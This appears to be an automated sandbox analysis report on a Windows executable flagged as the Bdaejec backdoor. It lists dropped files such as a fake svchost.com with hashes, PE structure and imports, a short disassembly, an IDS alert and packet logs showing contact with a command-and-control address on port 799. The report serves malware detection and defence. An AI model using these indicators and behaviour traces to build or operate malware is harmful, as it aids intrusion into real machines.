Preview:	regf>...=....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.4.Y:...............................................................................................................................................................................................................................................................................................................................................w#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1744896
Entropy (8bit):	4.574463165130732
Encrypted:	false
SSDEEP:	6144:WSvfpi6ceLP/9skLmb0OTGWSPDaJG8nAgeMZMMhA2fX4WABlEnNN0uhiTw:1vloTGWSEZMM6DFyn03w
MD5:	6625E8F850BBE2C1BE2D6D8F96C10E2C
SHA1:	3773CFD47B2135F1A22544A1A59DE52C83A92630
SHA-256:	90BC29E7F20869C4DE00A9B4BDA90DCD58100D1C1C3435D783EE46363C0E6101
SHA-512:	21800635BA53FCEC14B5DFE18F490DBEDC8E71E8BD2C63124E05E95C92C9B320F3B441CFB7A36BE1CDD0B063C9F1A263E115D567490EB78CEE648D831FBE0AE2
Malicious:	false
Preview:	regf=...=....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.4.Y:..............................................................................................................................................................................................................................................................................................................................................+w#.HvLE........=...........mN.\...J@..,........0...@...`..hbin.................\.Z............nk,..\.Z......... ..........h...................................<.......&...{11517B7C-E79D-4e20-961B-75A811715ADD}..`...sk..........U...........\...l.............H.........?...................?...................?........... ... ........... ... ...................$.N..........vk..4...`...........CreatingCommand.....O.n.e.D.r.i.v.e.S.e.t.u.p...e.x.e. ./.s.i.l.e.n.t.......vk..<...............

C:\Windows\directx.sys

Download File

Process:	C:\Windows\svchost.com
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	162
Entropy (8bit):	4.995584616531937
Encrypted:	false
SSDEEP:	3:otkLt+56hsaM5B6RW5zQr4N81ZkQExmXiWdCutACovk1ZkLt+56hsoBCay:otkLtv6Hz6WOr4N8fkQE4CuvovkfkLt2
MD5:	83485B4616EBB9F614F256E459DF61BF
SHA1:	5E26A57CC2A6D1C0809CA4551A18769BC2B728FD
SHA-256:	CB7DF624E85C377E323126BEDE91D52A5A9C2495B601F77B14FCA1BAEFDF3FA3
SHA-512:	897198CE1856043B6B927B9C10980AB16444CAA2644B40751303EC3D6FD6AB602BC5C8B75241593B1061BF39B50208FB254252D015C6E9AF2EA9BE572A2C802C
Malicious:	true
Preview:	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\117020~1.47\BHO\ie_to_edge_stub.exe..C:\PROGRA~2\Java\jre-1.8\bin\ssvagent.exe..C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\msedge.exe..

C:\Windows\svchost.com

Download File

Process:	C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.944345274331402
Encrypted:	false
SSDEEP:	768:nyxqjQl/EMQt4Oei7RwsHxKANM0nDhlzOQdJ:yxqjQ+P04wsZLnDrC
MD5:	2F50ACA08FFC461C86E8FB5BBEDDA142
SHA1:	6FC5319D084C6E13F950C24C78A9CADB7793C638
SHA-256:	D60208F3894F4556CAAE5ED2297C0EF1593A4A66F5AF8F3F2E44A8F2896BBF8E
SHA-512:	785225FE823C5724C7EBBFB17F31FFCFC2B3B852369B4D3E002B54476AD8C0F4A5D6AC29D43886361BC8DEDA29DB9F9CE70B1E4496B08390A8EAD50DDAC9D46E
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................t.........x.............@..............................................@...........................P..d............................................................p......................................................CODE.....r.......t.................. ..`DATA.................x..............@...BSS..................\|...................idata..d....P.......\|..............@....tls.........`...........................rdata.......p......................@..P.reloc..............................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.30033888451297
TrID:	Win32 Executable (generic) a (10002005/4) 97.13% Win32 Executable Borland Delphi 6 (262906/60) 2.55% Win32 EXE Yoda's Crypter (26571/9) 0.26% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	#U65b0#U7248#U7f51#U5173Srv.exe
File size:	114'688 bytes
MD5:	64956bf404c5abad670a958c45ece564
SHA1:	2c071527c691eb001777abaad5b9d5c7ca7c1b53
SHA256:	90dd057ac1bdec6b27174681b857af28e2ddd05f84b7536eecd28cf6cc1a1189
SHA512:	f636ca0287bf8778d2ed575e4971ba9b158a3636ba6a44b78f4f6978b3cc6ed1575d1878928458d2af00811e30429eb36dda49b8570cf8449fe97a8dd9032bb9
SSDEEP:	1536:yxqjQ+P04wsZLnDrC5MXL5uXZnzEDjGCq2iW7zef+hzRsibKplyXTq8OGRnsPFGj:zr8WDrCawnYvGCHymROzoTq0+RO7N
TLSH:	E7B3E192FA918472C1341EBE8C19D264CA773D316E3B2AFBF6A00C1EED5D6D16C0D949
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x408178
Entrypoint Section:	CODE
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	9f4693fc0c511135129493f2161d1e86

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFE0h
xor eax, eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-1Ch], eax
mov dword ptr [ebp-14h], eax
mov eax, 004080E8h
call 00007F81F8F7E8C3h
xor eax, eax
push ebp
push 004082B4h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
mov eax, 004091A8h
mov ecx, 0000000Bh
mov edx, 0000000Bh
call 00007F81F8F81A5Dh
mov eax, 004091B4h
mov ecx, 00000009h
mov edx, 00000009h
call 00007F81F8F81A49h
mov eax, 004091C0h
mov ecx, 00000003h
mov edx, 00000003h
call 00007F81F8F81A35h
mov eax, 004091DCh
mov ecx, 00000003h
mov edx, 00000003h
call 00007F81F8F81A21h
mov eax, dword ptr [00409210h]
mov ecx, 0000000Bh
mov edx, 0000000Bh
call 00007F81F8F81A0Dh
call 00007F81F8F81A64h
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F81F8F7F2FEh
mov eax, dword ptr [ebp-14h]
call 00007F81F8F7F892h
cmp eax, 0000A200h
jle 00007F81F8F82B47h
call 00007F81F8F81FE2h
call 00007F81F8F82839h
mov eax, 004091C4h
mov ecx, 00000003h
mov edx, 00000003h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x15000	0x864	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19000	0x1400	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x18000	0x5cc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x17000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x72c0	0x7400	57df3a5615ac3f00c33b7f1f6f46d36a	False	0.6197804418103449	data	6.521149320889011	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
DATA	0x9000	0x218	0x400	7ffc3168a7f3103634abdf3a768ed128	False	0.3623046875	data	3.1516983405583385	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
BSS	0xa000	0xa899	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x15000	0x864	0xa00	6e7a45521bfca94f1e506361f70e7261	False	0.37421875	data	4.173859768945439	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x16000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x17000	0x18	0x200	7e6c0f4f4435abc870eb550d5072bad6	False	0.05078125	data	0.2069200177871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x18000	0x5cc	0x600	2f4536f51417a33d5e7cc1d66b1ca51e	False	0.8333333333333334	data	6.433117350337874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x19000	0x1400	0x1400	722b5f3feef4e75a20d586ec261ad2b8	False	0.079296875	data	0.7297839655211668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x19150	0x10a8	data	Russian	Russia	0.006332082551594747
RT_RCDATA	0x1a1f8	0x10	data			1.5
RT_RCDATA	0x1a208	0xac	data			1.063953488372093
RT_GROUP_ICON	0x1a2b4	0x14	data	Russian	Russia	1.1

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetVersion, GetCurrentThreadId, GetThreadLocale, GetStartupInfoA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, MessageBoxA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegSetValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	WriteFile, WinExec, SetFilePointer, SetFileAttributesA, SetEndOfFile, SetCurrentDirectoryA, ReleaseMutex, ReadFile, GetWindowsDirectoryA, GetTempPathA, GetShortPathNameA, GetModuleFileNameA, GetLogicalDriveStringsA, GetLocalTime, GetLastError, GetFileSize, GetFileAttributesA, GetDriveTypeA, GetCommandLineA, FreeLibrary, FindNextFileA, FindFirstFileA, FindClose, DeleteFileA, CreateMutexA, CreateFileA, CreateDirectoryA, CloseHandle
gdi32.dll	StretchDIBits, SetDIBits, SelectObject, GetObjectA, GetDIBits, DeleteObject, DeleteDC, CreateSolidBrush, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, BitBlt
user32.dll	ReleaseDC, GetSysColor, GetIconInfo, GetDC, FillRect, DestroyIcon, CopyImage, CharLowerBuffA
shell32.dll	ShellExecuteA, ExtractIconA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-19T09:05:59.317082+0100	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	1	192.168.2.5	54167	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 19, 2024 09:05:59.442751884 CET	49704	799	192.168.2.5	44.221.84.105
Nov 19, 2024 09:06:00.440444946 CET	49704	799	192.168.2.5	44.221.84.105
Nov 19, 2024 09:06:02.627572060 CET	49704	799	192.168.2.5	44.221.84.105
Nov 19, 2024 09:06:06.631751060 CET	49704	799	192.168.2.5	44.221.84.105
Nov 19, 2024 09:06:13.669420004 CET	49714	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:13.669538021 CET	443	49714	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:13.669624090 CET	49714	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:13.669822931 CET	49715	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:13.669871092 CET	443	49715	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:13.669969082 CET	49715	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:13.670156956 CET	49714	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:13.670197010 CET	443	49714	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:13.670403957 CET	49715	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:13.670418978 CET	443	49715	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:13.742328882 CET	49716	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:13.742371082 CET	443	49716	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:13.742446899 CET	49716	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:13.743390083 CET	49716	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:13.743406057 CET	443	49716	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:14.459820032 CET	49718	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:14.459861994 CET	443	49718	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:14.459944963 CET	49718	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:14.460220098 CET	49718	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:14.460233927 CET	443	49718	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:14.588553905 CET	49719	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:14.588654041 CET	443	49719	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:14.588743925 CET	49719	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:14.589041948 CET	49720	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:14.589085102 CET	443	49720	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:14.589162111 CET	49720	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:14.589355946 CET	49719	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:14.589394093 CET	443	49719	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:14.589545965 CET	49720	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:14.589559078 CET	443	49720	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:14.814830065 CET	49704	799	192.168.2.5	44.221.84.105
Nov 19, 2024 09:06:16.561224937 CET	49721	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:16.561286926 CET	443	49721	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:16.561352015 CET	49721	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:16.562133074 CET	49722	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:16.562195063 CET	443	49722	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:16.562266111 CET	49722	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:16.562875986 CET	49723	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:16.562933922 CET	443	49723	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:16.562989950 CET	49723	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:16.563518047 CET	49721	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:16.563536882 CET	443	49721	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:16.563774109 CET	49722	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:16.563792944 CET	443	49722	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:16.564105988 CET	49723	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:16.564136028 CET	443	49723	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:18.451266050 CET	49729	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:18.451311111 CET	443	49729	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:18.451520920 CET	49729	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:18.451761007 CET	49729	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:18.451776028 CET	443	49729	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:18.530436039 CET	49730	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:18.530479908 CET	443	49730	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:18.530570984 CET	49730	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:18.530891895 CET	49730	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:18.530910969 CET	443	49730	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:18.568080902 CET	49731	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:18.568115950 CET	443	49731	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:18.568341017 CET	49731	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:18.568698883 CET	49731	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:18.568718910 CET	443	49731	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:21.577121973 CET	49732	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:21.577171087 CET	443	49732	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:21.577455044 CET	49732	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:21.577655077 CET	49732	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:21.577657938 CET	49733	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:21.577670097 CET	443	49732	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:21.577688932 CET	443	49733	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:21.577785969 CET	49733	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:21.578068018 CET	49733	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:21.578092098 CET	443	49733	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:21.725404978 CET	49734	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:21.725457907 CET	443	49734	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:21.725913048 CET	49734	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:21.727655888 CET	49734	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:21.727679968 CET	443	49734	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.639544964 CET	49715	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.639893055 CET	49719	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.639957905 CET	49723	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.640054941 CET	49730	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.640121937 CET	49734	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.641379118 CET	49736	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.641454935 CET	443	49736	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.641540051 CET	49736	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.641647100 CET	49737	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.641701937 CET	443	49737	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.641769886 CET	49737	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.642146111 CET	49738	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.642168045 CET	443	49738	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.642232895 CET	49738	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.642393112 CET	49739	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.642405987 CET	443	49739	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.642496109 CET	49739	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.642693043 CET	49740	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.642729044 CET	443	49740	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.642818928 CET	49740	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.643517971 CET	49739	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.643534899 CET	443	49739	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.643663883 CET	49738	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.643701077 CET	443	49738	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.643727064 CET	49714	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.643815994 CET	49718	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.643884897 CET	49721	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.643955946 CET	49731	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.644030094 CET	49732	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.644871950 CET	49744	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.644879103 CET	443	49744	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.644929886 CET	49744	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.645176888 CET	49745	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.645200014 CET	443	49745	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.645389080 CET	49746	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.645395041 CET	443	49746	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.645422935 CET	49745	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.645452023 CET	49746	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.645538092 CET	49747	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.645545959 CET	443	49747	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.645597935 CET	49747	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.645684958 CET	49748	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.645706892 CET	443	49748	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.645767927 CET	49748	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.646209002 CET	49716	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.646323919 CET	49720	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.646425962 CET	49722	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.646512032 CET	49729	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.646600962 CET	49733	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.646874905 CET	49751	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.646882057 CET	443	49751	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.646935940 CET	49751	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647126913 CET	49752	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647134066 CET	443	49752	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.647182941 CET	49752	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647306919 CET	49753	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647326946 CET	443	49753	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.647466898 CET	49754	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647474051 CET	443	49754	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.647501945 CET	49753	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647552967 CET	49754	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647682905 CET	49755	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647692919 CET	443	49755	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.647800922 CET	49755	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647854090 CET	49737	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.647870064 CET	443	49737	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.648053885 CET	49736	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.648082018 CET	443	49736	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.648195982 CET	49740	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.648227930 CET	443	49740	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.648626089 CET	49744	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.648638010 CET	443	49744	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.648720980 CET	49746	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.648730040 CET	443	49746	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.648870945 CET	49745	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.648885965 CET	443	49745	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.648962975 CET	49747	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.648972988 CET	443	49747	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.649070024 CET	49748	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.649097919 CET	443	49748	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.649415016 CET	49751	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.649429083 CET	443	49751	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.649482965 CET	49752	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.649512053 CET	443	49752	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.649604082 CET	49753	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.649621964 CET	443	49753	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.649655104 CET	49754	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.649665117 CET	443	49754	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.649797916 CET	49755	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:25.649812937 CET	443	49755	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.683340073 CET	443	49730	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.683343887 CET	443	49715	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.683353901 CET	443	49719	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.683371067 CET	443	49723	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.687344074 CET	443	49734	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.687386036 CET	443	49731	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.691334009 CET	443	49733	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.691342115 CET	443	49714	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.691346884 CET	443	49729	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.691355944 CET	443	49722	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.691365957 CET	443	49720	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.691375971 CET	443	49716	172.64.41.3	192.168.2.5
Nov 19, 2024 09:06:25.691394091 CET	443	49732	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.691401958 CET	443	49721	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.691411972 CET	443	49718	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.705925941 CET	49756	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.705965042 CET	443	49756	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:25.706208944 CET	49756	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.706412077 CET	49756	443	192.168.2.5	162.159.61.3
Nov 19, 2024 09:06:25.706455946 CET	443	49756	162.159.61.3	192.168.2.5
Nov 19, 2024 09:06:26.237363100 CET	49757	443	192.168.2.5	172.64.41.3
Nov 19, 2024 09:06:26.237412930 CET	443	49757	172.64.41.3	192.168.2.5
